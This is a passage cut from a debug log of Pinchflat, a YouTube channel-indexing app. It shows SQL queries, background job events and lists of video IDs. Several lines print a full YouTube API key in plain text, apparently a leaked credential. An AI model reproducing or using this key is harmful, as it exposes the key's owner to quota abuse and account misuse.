m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:40.452 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:40.452 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:36:40.452 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:40.452 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:40.595 [debug] QUERY OK source="media_items" db=0.5ms idle=142.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 17:36:40.596 [debug] QUERY OK source="media_items" db=0.8ms idle=143.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:36:40.597 [debug] QUERY OK source="tasks" db=0.1ms idle=144.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800240, 16, ~U[2026-02-10 23:36:40Z], ~U[2026-02-10 23:36:40Z]] 17:36:40.597 [info] {"args":{"id":16},"id":3800201,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":145717,"event":"job:stop","queue_time":492872,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:41.453 [info] {"args":{"id":43},"id":3800202,"meta":{},"system_time":1770766601453780288,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:41.454 [debug] QUERY OK source="sources" db=0.1ms idle=856.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:36:41.454 [debug] QUERY OK source="settings" db=0.0ms idle=856.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:41.454 [debug] QUERY OK source="media_profiles" db=0.1ms idle=850.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:41.454 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:41.454 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:36:41.454 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:41.454 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:41.564 [debug] QUERY OK source="media_items" db=0.6ms idle=109.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 17:36:41.565 [debug] QUERY OK source="media_items" db=0.3ms idle=111.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:36:41.566 [debug] QUERY OK source="tasks" db=0.1ms idle=111.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800241, 43, ~U[2026-02-10 23:36:41Z], ~U[2026-02-10 23:36:41Z]] 17:36:41.566 [info] {"args":{"id":43},"id":3800202,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":112659,"event":"job:stop","queue_time":534406,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:43.456 [info] {"args":{"id":25},"id":3800203,"meta":{},"system_time":1770766603456746444,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:43.456 [info] {"args":{"id":7},"id":3800204,"meta":{},"system_time":1770766603456778664,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:43.457 [debug] QUERY OK source="sources" db=0.2ms idle=578.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:36:43.457 [debug] QUERY OK source="sources" db=0.1ms idle=578.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:36:43.457 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:43.457 [debug] QUERY OK source="settings" db=0.1ms idle=578.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:43.457 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:43.457 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:43.457 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:43.457 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:36:43.457 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:43.457 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:36:43.457 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:43.458 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:43.458 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:43.458 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:43.557 [debug] QUERY OK source="media_items" db=0.6ms idle=98.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 17:36:43.558 [debug] QUERY OK source="media_items" db=1.0ms idle=99.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:36:43.559 [debug] QUERY OK source="tasks" db=0.0ms idle=101.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800242, 25, ~U[2026-02-10 23:36:43Z], ~U[2026-02-10 23:36:43Z]] 17:36:43.559 [info] {"args":{"id":25},"id":3800203,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102901,"event":"job:stop","queue_time":450101,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:43.661 [debug] QUERY OK source="media_items" db=0.8ms idle=101.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 17:36:43.664 [debug] QUERY OK source="media_items" db=2.5ms idle=102.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:36:43.665 [debug] QUERY OK source="tasks" db=0.1ms idle=99.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800243, 7, ~U[2026-02-10 23:36:43Z], ~U[2026-02-10 23:36:43Z]] 17:36:43.665 [info] {"args":{"id":7},"id":3800204,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":208976,"event":"job:stop","queue_time":300573,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:44.457 [info] {"args":{"id":20},"id":3800205,"meta":{},"system_time":1770766604457753790,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:44.458 [debug] QUERY OK source="sources" db=0.1ms idle=792.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:36:44.458 [debug] QUERY OK source="settings" db=0.0ms idle=792.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:44.458 [debug] QUERY OK source="media_profiles" db=0.1ms idle=786.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", 